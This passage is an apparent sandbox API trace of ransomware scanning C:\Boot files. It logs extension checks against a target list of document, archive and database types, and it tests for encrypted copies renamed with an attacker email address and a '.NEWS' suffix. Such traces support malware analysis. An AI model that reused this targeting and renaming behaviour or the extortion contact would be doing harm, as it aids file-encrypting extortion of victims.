(lpString=".rar") returned 4 [0194.866] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0194.866] lstrlenW (lpString=".bz2") returned 4 [0194.866] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0194.866] lstrlenW (lpString=".7z") returned 3 [0194.866] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0194.867] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0194.867] lstrlenW (lpString=".dbf") returned 4 [0194.867] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0194.867] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0194.867] lstrlenW (lpString=".1cd") returned 4 [0194.867] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0194.867] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0194.867] lstrlenW (lpString=".jpg") returned 4 [0194.867] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0194.868] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0194.868] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0194.868] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0194.868] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=94800) returned 1 [0194.869] CloseHandle (hObject=0x1f4) returned 1 [0194.869] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20 [0194.869] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.869] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.870] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0194.870] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0194.870] lstrlenW (lpString=".doc") returned 4 [0194.870] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0194.870] lstrlenW (lpString=".docx") returned 5 [0194.870] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0194.870] lstrlenW (lpString=".pdf") returned 4 [0194.870] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0194.870] lstrlenW (lpString=".xls") returned 4 [0194.870] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0194.870] lstrlenW (lpString=".xlsx") returned 5 [0194.870] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0194.870] lstrlenW (lpString=".ppt") returned 4 [0194.870] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0194.871] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0194.871] lstrlenW (lpString=".zip") returned 4 [0194.871] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0194.871] lstrlenW (lpString=".rar") returned 4 [0194.871] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0194.871] lstrlenW (lpString=".bz2") returned 4 [0194.871] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0194.871] lstrlenW (lpString=".7z") returned 3 [0194.871] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0194.871] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0194.871] lstrlenW (lpString=".dbf") returned 4 [0194.872] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0194.872] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0194.872] lstrlenW (lpString=".1cd") returned 4 [0194.872] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0194.872] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0194.872] lstrlenW (lpString=".jpg") returned 4 [0194.872] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0194.872] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0194.872] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0194.873] lstrlenW (lpString=".doc") returned 4 [0194.873] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0194.873] lstrlenW (lpString=".docx") returned 5 [0194.873] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0194.873] lstrlenW (lpString=".pdf") returned 4 [0194.873] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0194.873] lstrlenW (lpString=".xls") returned 4 [0194.873] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0194.873] lstrlenW (lpString=".xlsx") returned 5 [0194.873] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0194.873] lstrlenW (lpString=".ppt") returned 4 [0194.873] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0194.873] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0194.873] lstrlenW (lpString=".zip") returned 4 [0194.874] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0194.874] lstrlenW (lpString=".rar") returned 4 [0194.874] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0194.874] lstrlenW (lpString=".bz2") returned 4 [0194.874] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0194.874] lstrlenW (lpString=".7z") returned 3 [0194.874] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0194.874] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0194.874] lstrlenW (lpString=".dbf") returned 4 [0194.874] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0194.874] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0194.874] lstrlenW (lpString=".1cd") returned 4 [0194.875] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0194.875] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29 [0194.875] lstrlenW (lpString=".jpg") returned 4 [0194.875] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0194.875] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0194.876] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0194.876] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0194.876] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=85056) returned 1 [0194.876] CloseHandle (hObject=0x1f4) returned 1 [0194.877] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0194.877] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.877] CreateFileW (lpFileName="C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.877] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0194.877] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0194.877] lstrlenW (lpString=".doc") returned 4 [0194.877] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0194.878] lstrlenW (lpString=".docx") returned 5 [0194.878] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0194.878] lstrlenW (lpString=".pdf") returned 4 [0194.878] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0194.879] lstrlenW (lpString=".xls") returned 4 [0194.879] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0194.879] lstrlenW (lpString=".xlsx") returned 5 [0194.879] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0194.879] lstrlenW (lpString=".ppt") returned 4 [0194.879] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0194.879] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0194.879] lstrlenW (lpString=".zip") returned 4 [0194.879] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0194.879] lstrlenW (lpString=".rar") returned 4 [0194.880] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0194.880] lstrlenW (lpString=".bz2") returned 4 [0194.880] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0194.880] lstrlenW (lpString=".7z") returned 3 [0194.880] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0194.880] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0194.880] lstrlenW (lpString=".dbf") returned 4 [0194.880] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0194.880] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0194.880] lstrlenW (lpString=".1cd") returned 4 [0194.880] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0194.880] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0194.881] lstrlenW (lpString=".jpg") returned 4 [0194.881] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0194.881] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0194.881] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0194.881] lstrlenW (lpString=".doc") returned 4 [0194.881] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0194.881] lstrlenW (lpString=".docx") returned 5 [0194.881] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0194.881] lstrlenW (lpString=".pdf") returned 4 [0194.881] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0194.882] lstrlenW (lpString=".xls") returned 4 [0194.882] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0194.882] lstrlenW (lpString=".xlsx") returned 5 [0194.882] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0194.882] lstrlenW (lpString=".ppt") returned 4 [0194.882] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0194.882] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0194.882] lstrlenW (lpString=".zip") returned 4 [0194.882] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0194.882] lstrlenW (lpString=".rar") returned 4 [0194.882] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0194.882] lstrlenW (lpString=".bz2") returned 4 [0194.883] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0194.883] lstrlenW (lpString=".7z") returned 3 [0194.883] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0194.883] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0194.883] lstrlenW (lpString=".dbf") returned 4 [0194.883] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0194.883] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0194.883] lstrlenW (lpString=".1cd") returned 4 [0194.883] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0194.883] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0194.883] lstrlenW (lpString=".jpg") returned 4 [0194.883] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0194.884] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0194.884] lstrlenW (lpString="memtest.exe.mui") returned 15 [0194.884] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0194.885] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=43600) returned 1 [0194.885] CloseHandle (hObject=0x1f4) returned 1 [0194.885] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0194.885] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.885] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.886] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0194.886] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0194.886] lstrlenW (lpString=".doc") returned 4 [0194.886] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0194.886] lstrlenW (lpString=".docx") returned 5 [0194.886] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0194.886] lstrlenW (lpString=".pdf") returned 4 [0194.886] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0194.886] lstrlenW (lpString=".xls") returned 4 [0194.886] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0194.886] lstrlenW (lpString=".xlsx") returned 5 [0194.886] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0194.886] lstrlenW (lpString=".ppt") returned 4 [0194.887] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0194.887] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0194.887] lstrlenW (lpString=".zip") returned 4 [0194.887] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0194.887] lstrlenW (lpString=".rar") returned 4 [0194.887] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0194.887] lstrlenW (lpString=".bz2") returned 4 [0194.887] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0194.887] lstrlenW (lpString=".7z") returned 3 [0194.887] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0194.887] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0194.887] lstrlenW (lpString=".dbf") returned 4 [0194.888] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0194.888] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0194.888] lstrlenW (lpString=".1cd") returned 4 [0194.888] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0194.888] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0194.888] lstrlenW (lpString=".jpg") returned 4 [0194.888] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0194.888] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0194.888] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0194.888] lstrlenW (lpString=".doc") returned 4 [0194.888] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0194.889] lstrlenW (lpString=".docx") returned 5 [0194.889] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0194.889] lstrlenW (lpString=".pdf") returned 4 [0194.889] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0194.889] lstrlenW (lpString=".xls") returned 4 [0194.889] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0194.889] lstrlenW (lpString=".xlsx") returned 5 [0194.889] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0194.889] lstrlenW (lpString=".ppt") returned 4 [0194.889] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0194.889] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0194.890] lstrlenW (lpString=".zip") returned 4 [0194.890] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0194.890] lstrlenW (lpString=".rar") returned 4 [0194.890] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0194.890] lstrlenW (lpString=".bz2") returned 4 [0194.890] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0194.890] lstrlenW (lpString=".7z") returned 3 [0194.890] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0194.890] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0194.890] lstrlenW (lpString=".dbf") returned 4 [0194.890] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0194.890] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0194.891] lstrlenW (lpString=".1cd") returned 4 [0194.891] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0194.891] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0194.891] lstrlenW (lpString=".jpg") returned 4 [0194.891] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0194.891] lstrcmpiW (lpString1=".mui", lpString2=".NEWS") returned -1 [0194.891] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0194.892] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0194.892] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=90192) returned 1 [0194.892] CloseHandle (hObject=0x1f4) returned 1 [0194.892] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0194.892] GetFileAttributesW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0194.892] CreateFileW (lpFileName="C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0194.893] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0194.893] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0194.893] lstrlenW (lpString=".doc") returned 4 [0194.893] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0194.893] lstrlenW (lpString=".docx") returned 5 [0194.893] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0194.893] lstrlenW (lpString=".pdf") returned 4 [0194.893] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.076] lstrlenW (lpString=".xls") returned 4 [0195.076] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.076] lstrlenW (lpString=".xlsx") returned 5 [0195.076] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.076] lstrlenW (lpString=".ppt") returned 4 [0195.076] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.076] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0195.076] lstrlenW (lpString=".zip") returned 4 [0195.076] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.076] lstrlenW (lpString=".rar") returned 4 [0195.076] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.077] lstrlenW (lpString=".bz2") returned 4 [0195.077] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.077] lstrlenW (lpString=".7z") returned 3 [0195.077] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.077] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0195.077] lstrlenW (lpString=".dbf") returned 4 [0195.077] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.077] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0195.077] lstrlenW (lpString=".1cd") returned 4 [0195.077] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.077] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0195.077] lstrlenW (lpString=".jpg") returned 4 [0195.078] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.078] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0195.078] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0195.078] lstrlenW (lpString=".doc") returned 4 [0195.078] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0195.078] lstrlenW (lpString=".docx") returned 5 [0195.078] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0195.078] lstrlenW (lpString=".pdf") returned 4 [0195.078] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0195.079] lstrlenW (lpString=".xls") returned 4 [0195.079] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0195.079] lstrlenW (lpString=".xlsx") returned 5 [0195.079] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0195.079] lstrlenW (lpString=".ppt") returned 4 [0195.079] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0195.079] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0195.079] lstrlenW (lpString=".zip") returned 4 [0195.079] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0195.079] lstrlenW (lpString=".rar") returned 4 [0195.079] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0195.079] lstrlenW (lpString=".bz2") returned 4 [0195.079] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0195.080] lstrlenW (lpString=".7z") returned 3 [0195.080] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0195.080] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0195.080] lstrlenW (lpString=".dbf") returned 4 [0195.080] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0195.080] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0195.080] lstrlenW (lpString=".1cd") returned 4 [0195.080] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0195.080] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0195.080] lstrlenW (lpString=".jpg") returned 4 [0195.080] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0195.082] lstrcmpiW (lpString1=".ttf", lpString2=".NEWS") returned 1 [0195.082] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0195.082] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0195.472] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=47452) returned 1 [0195.472] CloseHandle (hObject=0x208) returned 1 [0195.472] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0195.472] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.472] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.472] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0195.473] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0195.473] lstrlenW (lpString=".doc") returned 4 [0195.473] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0195.473] lstrlenW (lpString=".docx") returned 5 [0195.473] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0195.473] lstrlenW (lpString=".pdf") returned 4 [0195.473] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0195.473] lstrlenW (lpString=".xls") returned 4 [0195.473] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0195.473] lstrlenW (lpString=".xlsx") returned 5 [0195.473] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0195.473] lstrlenW (lpString=".ppt") returned 4 [0195.473] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0195.474] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0195.474] lstrlenW (lpString=".zip") returned 4 [0195.474] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0195.474] lstrlenW (lpString=".rar") returned 4 [0195.474] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0195.474] lstrlenW (lpString=".bz2") returned 4 [0195.474] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0195.474] lstrlenW (lpString=".7z") returned 3 [0195.474] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0195.474] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0195.475] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0195.475] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0195.475] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0195.475] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0195.475] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0195.475] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0195.475] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0195.475] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0195.476] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0195.476] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0195.476] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0195.476] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0195.476] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0195.476] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0195.476] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0195.476] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0195.477] lstrcmpiW (lpString1=".exe", lpString2=".NEWS") returned -1 [0195.477] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 